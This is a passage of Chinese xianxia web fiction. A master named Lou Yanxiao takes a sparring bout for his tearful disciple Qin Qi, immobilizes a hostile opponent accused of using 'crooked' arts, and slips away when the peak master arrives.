“你是何……师父?”秦启迷迷糊糊地睁开眼,瞧见熟悉的面庞,话说到一半眼泪却率先掉了下来,“我好想你师父,你到底去哪了师父……”
楼砚霄轻叹口气:“男子汉哭什么?擦一擦眼泪和鼻涕,剩下交给我。”
“师父……”
楼砚霄运起气运,将他安全地送到地面,看向坐在对面的夫子,朗声道:“我与这位小友是好友,可否代他比试?”
“不可。”夫子严肃道。
“那便是可以了。”楼砚霄自行忽略夫子被气到的脸色,转头看向对面的汉子,笑道:“好久不见啊小兄弟,没想到又在这儿见到你了。”
汉子表情一愣,后知后觉道:“是你。”
“那日便给你了警告,上了山还是死性不改。”楼砚霄语气极淡道,“既然不改,那我便来会会你。”
汉子闻言,露齿大笑,轻蔑道:“就凭你?若你拥护诡道中人,那就别怪我下手不客气了!”
“呵。”楼砚霄轻笑,伸出一个手掌,“五步之内,你若是能近我身,算我输。”
“愿以一试。”
汉子说着,便挥起拳头朝楼砚霄冲去,想要将他一拳击飞,然而就在正正好靠近楼砚霄的五步外,他整个人好似被无形的线束缚着,浑身动弹不得,呆愣在原地。
他转动眼珠子看向楼砚霄,怒道:“你用诡术!”
楼砚霄冷笑:“看不见就说诡术,若我说这是正道世家所学的法术,你又该如何解释?”
“根本不可能!”汉子大声道,将台下其他人的目光吸引而来,“世家所属的法术我都有涉猎,却从未见过你此等法术,不是诡术又是何术?”
“你分明就是诡道中人!这就是诡术!”
楼砚霄笑了,这些个正道世家表面瞧着光鲜亮丽,逢人却疑神疑鬼,乱套身份,听起来着实好笑。
他动了动唇,正想反驳汉子,却听身后传来一声高喝:“峰主到!”
闻言,楼砚霄脸上的笑一顿。
他凝神,目光环视一圈,瞧见其他人的注意力全然在清厌上,便快速朝汉子出手,将他击飞至台下。
楼砚霄运起气运,一把掳起包扎的秦启,将人带离此地。
“师父……”秦启拽进了手中的包袱,不解问道。
他回头瞧了眼,正巧听到夫子道:“秦启胜!”
夫子的语气算不得好,往旁一看,还有个白衣身影。
楼砚霄顾不得身后发生的事,此时他只想赶紧拿了自己的行囊,立马下山。
“先离开此地再说。”